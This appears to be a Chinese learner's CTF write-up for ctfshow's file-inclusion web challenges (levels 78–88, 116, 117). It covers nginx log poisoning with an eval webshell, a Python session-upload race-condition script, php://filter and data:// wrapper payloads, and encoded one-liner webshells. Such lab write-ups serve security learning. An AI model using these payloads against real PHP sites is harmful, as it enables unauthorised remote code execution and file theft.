78.
文件包含,以前也有。
这里cat不能用,直接用tac。
79.
str_replace("php", "???", $file);意思就是将file中所有php替换成???,其实就是过滤了php。
这里用了大小写绕过,也可以base64.
80.
这里data,php全被过滤,可以看看此文章。
这里用hackbar行不通,只能用bp。
81.
看到这里,心里挺感动的,我会加油,努力成为大黑客。
这里过滤了:,只能用日志包含。
先访问日志文件,然后打开useragent,输入一句话木马。再执行命令
?file=/var/log/nginx/access.log
<?php eval($_POST['a']);?>
但是我这个死活没flag,有趣有趣。
ctfshow-web入门-文件包含(web78、web79、web80、web81)_ctfshow web80-优快云博客
CTFshow_Web_文件包含——web78~88、116~117_ctfshow web116-优快云博客
直接看上文,换个思路。直接再bp上进行。直接这上面改user-agent。go两次。
82-86.
这里利用什么session包含反序列化,看不懂了,大佬说下面一下脚本解决。等我再学会回来
# -*- coding: utf-8 -*-
# @author:lonmar
import io
import requests
import threading
sessID = 'flag'
url = '' #这里改为题目的url地址
def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'}, #session中写入一句话
files={'file': ('test.txt', f)} #写入文件
)
def read(session):
while event.isSet():
response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
if 'test' in response.text: #如果成功打开文件,则竞争成功!
print(response.text)
event.clear()
else:
print('[*]retrying...')
if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 100):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 100):
threading.Thread(target=read, args=(session,)).start()
这是web 82的答案,其他题也运行脚本解决即可。注意,要将https改为http,不然会出现ssL证书问题。
CTFshow_web入门_文件包含(web78~web88)_ctfshow web87-优快云博客
CTFshow_Web_文件包含——web78~88、116~117_ctfshow web116-优快云博客
87.
先上2篇文章,相当好,至少现在我不能写这么好。
ctfshow文件包含web87-117_ctfshow web87-优快云博客
ctfshow-web入门-文件包含(web87)巧用 php://filter 流绕过死亡函数的三种方法_ctfshow web87-优快云博客
file_put_content和死亡·杂糅代码之缘 - 先知社区
首先构造payload
/?file=php://filter/write=convert.base64-decode/resource=1.php
然后经历2次url编码,hackbar一次,代码要求一次。
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
然后post上传木马,木马要base64编码。
<?php @eval($_POST[1]);?>
content=11PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
然后访问1.php,post传参
1=system('ls');
1=system('tac flag.php');
88.
这个直接用伪协议即可
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOyA/Pg
编码内容是<?php systen('ls');?>,记得去等号,因为等号被过滤。
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs_Pg
这个编码内容是<?php system('tac *.php');?>
116.
这给要杂项的知识,有点不会啊,反正最后分离出这东东(以后再来,我要迅速学)。
file_get_contents是读取文件函数,所以直接猜测flag.php
117.
这题越加难ctfshow-web入门-文件包含(web88、web116、web117)_ctfshow web116-优快云博客
把一句话木马从 UCS-2LE 编码转换为 UCS-2BE 编码,两种脚本:
<?php
$re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_POST[1]);?>');
echo $re;
?>
str = "<?php @eval($_POST[1]);?>"
str_encoded = ''
for i in range(len(str)):
if i % 2 == 1:
str_encoded += str[i]
str_encoded += str[i-1]
print(str_encoded)
得到:
?<hp pvela$(P_SO[T]1;)>?
接下来post传入:
contents=?<hp pvela$(P_SO[T]1;)>?
payload:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
然后就简单:
1=system("ls");
1=system("tac flag.php");
接下来:
结束了文件包含,找时间总结一下。